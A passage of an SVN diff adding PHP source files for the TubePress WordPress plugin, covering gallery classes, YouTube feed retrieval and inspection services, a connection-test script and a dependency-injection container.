+    public function setUrlBuilderService(org_tubepress_url_UrlBuilder $urlBuilder) 
+    {                   
+        $this->_urlBuilder = $urlBuilder; 
+    }
+    
+    public function setVideoFactory(org_tubepress_video_factory_VideoFactory $factory) 
+    {
+        $this->_videoFactory = $factory; 
+    }
+    
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gallery/Gallery.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gallery/Gallery.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gallery/Gallery.class.php	(revision 44)
@@ -0,0 +1,58 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_gallery_AbstractGallery'));
+
+/**
+ * Regular TubePress gallery
+ */
+class org_tubepress_gallery_Gallery extends org_tubepress_gallery_AbstractGallery
+{
+    const FAVORITES       = "favorites";
+    const FEATURED        = "recently_featured";
+    const MOBILE          = "mobile";
+    const MOST_DISCUSSESD = "most_discussed";
+    const MOST_LINKED     = "most_linked";
+    const MOST_RECENT     = "most_recent";
+    const MOST_RESPONDED  = "most_responded";
+    const PLAYLIST        = "playlist";
+    const POPULAR         = "most_viewed";
+    const TAG             = "tag";
+    const TOP_RATED       = "top_rated";
+    const USER            = "user";
+    
+    /**
+     * Generates the content of this gallery
+     * 
+     * @return The HTML content for this gallery
+     */
+    public final function generate($galleryId)
+    {
+        try {
+            $this->setTemplateDirectory(dirname(__FILE__) . "/../../../../ui/gallery/html_templates");
+             return $this->generateThumbs($galleryId);
+        } catch (Exception $e) {
+            return $e->getMessage();
+        }
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gallery/WidgetGallery.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gallery/WidgetGallery.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gallery/WidgetGallery.class.php	(revision 44)
@@ -0,0 +1,45 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_gallery_AbstractGallery'));
+
+/**
+ * Widget gallery
+ */
+class org_tubepress_gallery_WidgetGallery extends org_tubepress_gallery_AbstractGallery
+{
+    /**
+     * Generates the content of this gallery
+     * 
+     * @return The HTML content for this gallery
+     */
+    public final function generate($galleryId)
+    {
+        try {
+            $this->setTemplateDirectory(dirname(__FILE__) . "/../../../../ui/widget/html_templates");
+            return $this->generateThumbs($galleryId);   
+        } catch (Exception $e) {
+            return $e->getMessage();
+        }
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/inspection/FeedInspectionService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/inspection/FeedInspectionService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/inspection/FeedInspectionService.class.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Examines the feed results
+ *
+ */
+interface org_tubepress_gdata_inspection_FeedInspectionService
+{   
+    public function getTotalResultCount(DOMDocument $dom);
+    
+    public function getQueryResultCount(DOMDocument $dom);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/inspection/SimpleFeedInspectionService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/inspection/SimpleFeedInspectionService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/inspection/SimpleFeedInspectionService.class.php	(revision 44)
@@ -0,0 +1,56 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_gdata_inspection_FeedInspectionService'));
+
+/**
+ * Examines the feed from YouTube
+ *
+ */
+class org_tubepress_gdata_inspection_SimpleFeedInspectionService implements org_tubepress_gdata_inspection_FeedInspectionService
+{   
+    const NS_OPENSEARCH = 'http://a9.com/-/spec/opensearch/1.1/';
+    
+    public function getTotalResultCount(DOMDocument $dom)
+    {
+        $result = $dom->getElementsByTagNameNS(org_tubepress_gdata_inspection_SimpleFeedInspectionService::NS_OPENSEARCH,
+            'totalResults')->item(0)->nodeValue;
+        
+        $this->_makeSureNumeric($result);
+        return $result;
+    }
+    
+    public function getQueryResultCount(DOMDocument $dom)
+    {
+        $result = $dom->getElementsByTagName('entry')->length;
+        $this->_makeSureNumeric($result);
+        return $result;
+    }
+    
+    private function _makeSureNumeric($result)
+    {
+        if (is_numeric($result) === FALSE) {
+            throw new Exception("YouTube returned a non-numeric total result count: $result");
+        }    
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/retrieval/AbstractFeedRetrievalService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/retrieval/AbstractFeedRetrievalService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/retrieval/AbstractFeedRetrievalService.class.php	(revision 44)
@@ -0,0 +1,83 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_gdata_retrieval_FeedRetrievalService',
+    'org_tubepress_cache_CacheService'));
+
+/**
+ * Base functionality for TubePressFeedRetrieval services
+ *
+ */
+abstract class org_tubepress_gdata_retrieval_AbstractFeedRetrievalService implements org_tubepress_gdata_retrieval_FeedRetrievalService
+{
+    private $_cache;
+    
+    /**
+     * Fetches the RSS from YouTube
+     * 
+     * @param org_tubepress_options_manager_OptionsManager $tpom The TubePress options manager
+     * 
+     * @return DOMDocument The raw RSS from YouTube
+     */
+    public function fetch($url, $useCache)
+    {   
+        $xml = new DOMDocument();
+        if ($useCache) {
+            if ($this->_cache->has($url)) {
+                $cached = $this->_cache->get($url);
+                $xml->loadXML($cached);
+            } else {
+                $xml = $this->_getFromNetwork($url);
+                $this->_cache->save($url, $xml->saveXML());
+            }
+        } else {
+            $xml = $this->_getFromNetwork($url);
+        }
+        return $xml;
+    }
+    
+    private function _getFromNetwork($url)
+    {
+        $data = $this->_fetchFromNetwork($url);
+
+        $data = trim($data);
+        
+        $doc = new DOMDocument();
+
+       if (substr($data,0,1) != "<") {
+            throw new Exception("YouTube returned non-xml: " . $data);
+        }
+        if ($doc->loadXML($data) === FALSE) {
+            throw new Exception("YouTube returned invalid XML: " . $data);
+        }
+        
+        return $doc;
+    }
+    
+    protected abstract function _fetchFromNetwork($request);
+    
+    public function setCacheService(org_tubepress_cache_CacheService $cache)
+    {
+        $this->_cache = $cache;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/retrieval/ConnectionTest.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/retrieval/ConnectionTest.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/retrieval/ConnectionTest.php	(revision 44)
@@ -0,0 +1,53 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * This bit of code simply tests your connection to YouTube
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('net_php_pear_Net_URL2',
+    'net_php_pear_HTTP_Request2',
+    'net_php_pear_HTTP_Request2_Adapter_Socket'));
+
+print "You should see YouTube's homepage load below...<br /><br />";
+tubepress_run_connection_test("http://www.youtube.com");
+print "Now you should see a bunch of XML below...<br /><br />";
+tubepress_run_connection_test("http://gdata.youtube.com/feeds/api/standardfeeds/top_rated", true);
+
+
+function tubepress_run_connection_test($url, $escape = false) {
+    
+    $request = new net_php_pear_Net_URL2($url);
+    $req = new net_php_pear_HTTP_Request2($request);
+    $req->setAdapter(new net_php_pear_HTTP_Request2_Adapter_Socket());
+
+    $response = $req->send();
+    $data = $response->getBody();
+    
+    if ($escape) {
+        $data = htmlentities($data);
+    }
+    print_r($data);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/retrieval/FeedRetrievalService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/retrieval/FeedRetrievalService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/retrieval/FeedRetrievalService.class.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * TubePress's network interface
+ *
+ */
+interface org_tubepress_gdata_retrieval_FeedRetrievalService
+{
+    /**
+     * Fetches the RSS from YouTube
+     * 
+     * @return DOMDocument The raw RSS from YouTube
+     */
+    public function fetch($url, $useCache);
+    
+    public function setCacheService(org_tubepress_cache_CacheService $cache);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/retrieval/HTTPRequest2.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/retrieval/HTTPRequest2.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/gdata/retrieval/HTTPRequest2.class.php	(revision 44)
@@ -0,0 +1,44 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_gdata_retrieval_AbstractFeedRetrievalService',
+    'net_php_pear_Net_URL2',
+    'net_php_pear_HTTP_Request2',
+    'net_php_pear_HTTP_Request2_Adapter_Socket'));
+
+/**
+ *
+ */
+class org_tubepress_gdata_retrieval_HTTPRequest2 extends org_tubepress_gdata_retrieval_AbstractFeedRetrievalService
+{
+    protected function _fetchFromNetwork($request) {
+        $data = "";
+        $request = new net_php_pear_Net_URL2($request);
+        $req = new net_php_pear_HTTP_Request2($request);
+        $req->setAdapter(new net_php_pear_HTTP_Request2_Adapter_Socket());
+
+        $response = $req->send();
+           $data = $response->getBody();
+        return $data;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/ioc/ContainerAware.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/ioc/ContainerAware.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/ioc/ContainerAware.class.php	(revision 44)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_ioc_IocService'));
+
+/**
+ * Dependency injector for TubePress
+ */
+interface org_tubepress_ioc_ContainerAware
+{
+    public function setContainer(org_tubepress_ioc_IocService $container);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/ioc/DefaultIocService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/ioc/DefaultIocService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/ioc/DefaultIocService.class.php	(revision 44)
@@ -0,0 +1,232 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_ioc_PhpCraftyIocService',
+    'org_tubepress_ioc_IocService',
+    'org_tubepress_player_Player',
+    'org_tubepress_embedded_EmbeddedPlayerService',
+    'org_tubepress_message_WordPressMessageService',
+	'org_tubepress_shortcode_SimpleShortcodeService',
+    'org_tubepress_options_reference_SimpleOptionsReference',
+    'org_tubepress_gdata_inspection_SimpleFeedInspectionService',
+	'org_tubepress_cache_SimpleCacheService',
+	'org_tubepress_video_factory_SimpleVideoFactory',
+	'org_tubepress_querystring_SimpleQueryStringService',
+	'org_tubepress_player_impl_YouTubePlayer',
+    'org_tubepress_player_impl_NormalPlayer',
+	'org_tubepress_options_validation_SimpleInputValidationService',
+	'org_tubepress_gdata_retrieval_HTTPRequest2',
+	'org_tubepress_url_SimpleUrlBuilder',
+	'org_tubepress_embedded_impl_YouTubeEmbeddedPlayerService',
+	'org_tubepress_embedded_impl_JwFlvEmbeddedPlayerService',
+	'org_tubepress_player_impl_ModalPlayer',
+	'org_tubepress_options_storage_WordPressStorageManager',
+	'org_tubepress_thumbnail_SimpleThumbnailService',
+	'org_tubepress_options_manager_SimpleOptionsManager',
+	'org_tubepress_pagination_DiggStylePaginationService',
+	'org_tubepress_options_form_WidgetPrinter',
+	'org_tubepress_options_form_FormHandler',
+	'org_tubepress_options_form_CategoryPrinter',
+	'org_tubepress_gallery_Gallery',
+	'org_tubepress_gallery_WidgetGallery'));
+
+/**
+ * Dependency injector for TubePress in a WordPress environment
+ */
+class org_tubepress_ioc_DefaultIocService extends org_tubepress_ioc_PhpCraftyIocService implements org_tubepress_ioc_IocService
+{
+    function __construct()
+    {
+        /* these guys have no setters that we care about */
+        $this->def(org_tubepress_ioc_IocService::MESSAGE,
+            $this->impl('org_tubepress_message_WordPressMessageService'));
+        $this->def(org_tubepress_ioc_IocService::SHORTCODE,
+            $this->impl('org_tubepress_shortcode_SimpleShortcodeService'));
+        $this->def(org_tubepress_ioc_IocService::REFERENCE,
+            $this->impl('org_tubepress_options_reference_SimpleOptionsReference'));
+        $this->def(org_tubepress_ioc_IocService::FEED_INSP,
+            $this->impl('org_tubepress_gdata_inspection_SimpleFeedInspectionService'));
+        $this->def(org_tubepress_ioc_IocService::CACHE,
+            $this->impl('org_tubepress_cache_SimpleCacheService'));
+        $this->def(org_tubepress_ioc_IocService::VID_FACT,
+            $this->impl('org_tubepress_video_factory_SimpleVideoFactory'));
+        $this->def(org_tubepress_ioc_IocService::QUERY_STR,
+            $this->impl('org_tubepress_querystring_SimpleQueryStringService'));
+        $this->def(org_tubepress_player_Player::YOUTUBE . "-player",
+            $this->impl('org_tubepress_player_impl_YouTubePlayer'));
+
+        /* These guys have 1 setter */
+        $this->def(org_tubepress_ioc_IocService::VALIDATION,
+            $this->impl('org_tubepress_options_validation_SimpleInputValidationService',
+                array('messageService' => $this->ref(org_tubepress_ioc_IocService::MESSAGE))
+            )
+        );
+        $this->def(org_tubepress_ioc_IocService::FEED_RET,
+            $this->impl('org_tubepress_gdata_retrieval_HTTPRequest2', 
+                array( 'cacheService' => $this->ref(org_tubepress_ioc_IocService::CACHE))
+            )
+        );
+        $this->def(org_tubepress_ioc_IocService::URL_BUILDER,
+            $this->impl('org_tubepress_url_SimpleUrlBuilder', 
+                array('optionsManager' => $this->ref(org_tubepress_ioc_IocService::OPTIONS_MGR))
+            )
+        );
+        $this->def(org_tubepress_embedded_EmbeddedPlayerService::YOUTUBE . '-embedded',
+            $this->impl('org_tubepress_embedded_impl_YouTubeEmbeddedPlayerService',
+                array('optionsManager' => $this->ref(org_tubepress_ioc_IocService::OPTIONS_MGR))
+            )
+        );
+        $this->def(org_tubepress_embedded_EmbeddedPlayerService::LONGTAIL . '-embedded',
+            $this->impl('org_tubepress_embedded_impl_JwFlvEmbeddedPlayerService',
+                array('optionsManager' => $this->ref(org_tubepress_ioc_IocService::OPTIONS_MGR))
+            )
+        );
+        $this->def(org_tubepress_player_Player::NORMAL . "-player",
+            $this->impl('org_tubepress_player_impl_NormalPlayer',
+                array('optionsManager' => $this->ref(org_tubepress_ioc_IocService::OPTIONS_MGR))
+            )
+        );
+        $this->def(org_tubepress_player_Player::POPUP . "-player",
+            $this->impl('org_tubepress_player_impl_ModalPlayer',
+                array('optionsManager' => $this->ref(org_tubepress_ioc_IocService::OPTIONS_MGR))
+            )
+        );
+        $this->def(org_tubepress_player_Player::SHADOWBOX . "-player",
+            $this->impl('org_tubepress_player_impl_ModalPlayer',
+                array('optionsManager' => $this->ref(org_tubepress_ioc_IocService::OPTIONS_MGR))
+            )
+        );
+        $this->def(org_tubepress_player_Player::JQMODAL . "-player",
+            $this->impl('org_tubepress_player_impl_ModalPlayer',
+                array('optionsManager' => $this->ref(org_tubepress_ioc_IocService::OPTIONS_MGR))
+            )
+        );
+        $this->def(org_tubepress_player_Player::COLORBOX . "-player",
+            $this->impl('org_tubepress_player_impl_ModalPlayer',
+                array('optionsManager' => $this->ref(org_tubepress_ioc_IocService::OPTIONS_MGR))
+            )
+        );
+        
+        /* this guy has 2 setters */
+        $this->def(org_tubepress_ioc_IocService::STORAGE,
+            $this->impl('org_tubepress_options_storage_WordPressStorageManager', 
+                array(
+                    'optionsReference'  => $this->ref(org_tubepress_ioc_IocService::REFERENCE),
+                    'validationService' => $this->ref(org_tubepress_ioc_IocService::VALIDATION)
+                )
+            )
+        );
+        $this->def(org_tubepress_ioc_IocService::THUMB,
+            $this->impl('org_tubepress_thumbnail_SimpleThumbnailService', 
+                array(
+                    'optionsManager' => $this->ref(org_tubepress_ioc_IocService::OPTIONS_MGR),
+                    'messageService' => $this->ref(org_tubepress_ioc_IocService::MESSAGE)
+                )
+            )
+        );
+
+        /* these guys have 3 setters */
+        $this->def(org_tubepress_ioc_IocService::OPTIONS_MGR,
+            $this->impl('org_tubepress_options_manager_SimpleOptionsManager', 
+                array(
+                    'validationService' => $this->ref(org_tubepress_ioc_IocService::VALIDATION),
+                    'optionsReference'  => $this->ref(org_tubepress_ioc_IocService::REFERENCE),
+                    'storageManager'    => $this->ref(org_tubepress_ioc_IocService::STORAGE)
+                )
+            )
+        );
+        $this->def(org_tubepress_ioc_IocService::PAGINATION,
+            $this->impl('org_tubepress_pagination_DiggStylePaginationService', 
+                array(
+                    'messageService'     => $this->ref(org_tubepress_ioc_IocService::MESSAGE),
+                    'queryStringService' => $this->ref(org_tubepress_ioc_IocService::QUERY_STR),
+                    'optionsManager'     => $this->ref(org_tubepress_ioc_IocService::OPTIONS_MGR)
+                )
+            )
+        );
+        $this->def(org_tubepress_ioc_IocService::W_PRINTER,
+            $this->impl('org_tubepress_options_form_WidgetPrinter',
+                array(
+                    'messageService'   => $this->ref(org_tubepress_ioc_IocService::MESSAGE),
+                    'optionsReference' => $this->ref(org_tubepress_ioc_IocService::REFERENCE),
+                    'storageManager'   => $this->ref(org_tubepress_ioc_IocService::STORAGE),
+                )
+            )
+        );
+
+        /* 4 setters, gyea */
+        $this->def(org_tubepress_ioc_IocService::FORM_HNDLER,
+            $this->impl('org_tubepress_options_form_FormHandler',
+                array(
+                    'messageService'   => $this->ref(org_tubepress_ioc_IocService::MESSAGE),
+                    'optionsReference' => $this->ref(org_tubepress_ioc_IocService::REFERENCE),
+                    'storageManager'   => $this->ref(org_tubepress_ioc_IocService::STORAGE),
+                    'categoryPrinter'  => $this->ref(org_tubepress_ioc_IocService::CAT_PRINTER)
+                )
+            )
+        );
+        $this->def(org_tubepress_ioc_IocService::CAT_PRINTER,
+            $this->impl('org_tubepress_options_form_CategoryPrinter',
+                array(
+                    'messageService'   => $this->ref(org_tubepress_ioc_IocService::MESSAGE),
+                    'optionsReference' => $this->ref(org_tubepress_ioc_IocService::REFERENCE),
+                    'storageManager'   => $this->ref(org_tubepress_ioc_IocService::STORAGE),
+                    'widgetPrinter'    => $this->ref(org_tubepress_ioc_IocService::W_PRINTER)
+                )
+            )
+        );
+        
+        /* the big guy */
+        $this->def(org_tubepress_ioc_IocService::GALLERY,
+            $this->impl('org_tubepress_gallery_Gallery', 
+                array(
+                    'feedInspectionService' => $this->ref(org_tubepress_ioc_IocService::FEED_INSP),
+                    'feedRetrievalService'  => $this->ref(org_tubepress_ioc_IocService::FEED_RET),
+                    'messageService'        => $this->ref(org_tubepress_ioc_IocService::MESSAGE),
+                    'optionsManager'        => $this->ref(org_tubepress_ioc_IocService::OPTIONS_MGR),
+                    'paginationService'     => $this->ref(org_tubepress_ioc_IocService::PAGINATION),
+                    'queryStringService'    => $this->ref(org_tubepress_ioc_IocService::QUERY_STR),
+                    'thumbnailService'      => $this->ref(org_tubepress_ioc_IocService::THUMB),
+                    'urlBuilderService'     => $this->ref(org_tubepress_ioc_IocService::URL_BUILDER),
+                    'videoFactory'          => $this->ref(org_tubepress_ioc_IocService::VID_FACT),
+                )
+            )
+        );
+        /* the other big guy */
+        $this->def(org_tubepress_ioc_IocService::WIDGET_GALL,
+            $this->impl('org_tubepress_gallery_WidgetGallery', 
+                array(
+                    'feedInspectionService' => $this->ref(org_tubepress_ioc_IocService::FEED_INSP),
+                    'feedRetrievalService'  => $this->ref(org_tubepress_ioc_IocService::FEED_RET),
+                    'messageService'        => $this->ref(org_tubepress_ioc_IocService::MESSAGE),
+                    'optionsManager'        => $this->ref(org_tubepress_ioc_IocService::OPTIONS_MGR),
+                    'paginationService'     => $this->ref(org_tubepress_ioc_IocService::PAGINATION),
+                    'queryStringService'    => $this->ref(org_tubepress_ioc_IocService::QUERY_STR),
+                    'thumbnailService'      => $this->ref(org_tubepress_ioc_IocService::THUMB),
+                    'urlBuilderService'     => $this->ref(org_tubepress_ioc_IocService::URL_BUILDER),
+                    'videoFactory'          => $this->ref(org_tubepress_ioc_IocService::VID_FACT),
+                )
+            )
+        );
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/ioc/IocService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/ioc/IocService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/ioc/IocService.class.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Dependency injector for TubePress
+ */
+interface org_tubepress_ioc_IocService
+{
+    const CACHE       = 'cacheService';
+    const CAT_PRINTER = 'categoryPrinter';
+    const FEED_INSP   = 'feedInspectionService';
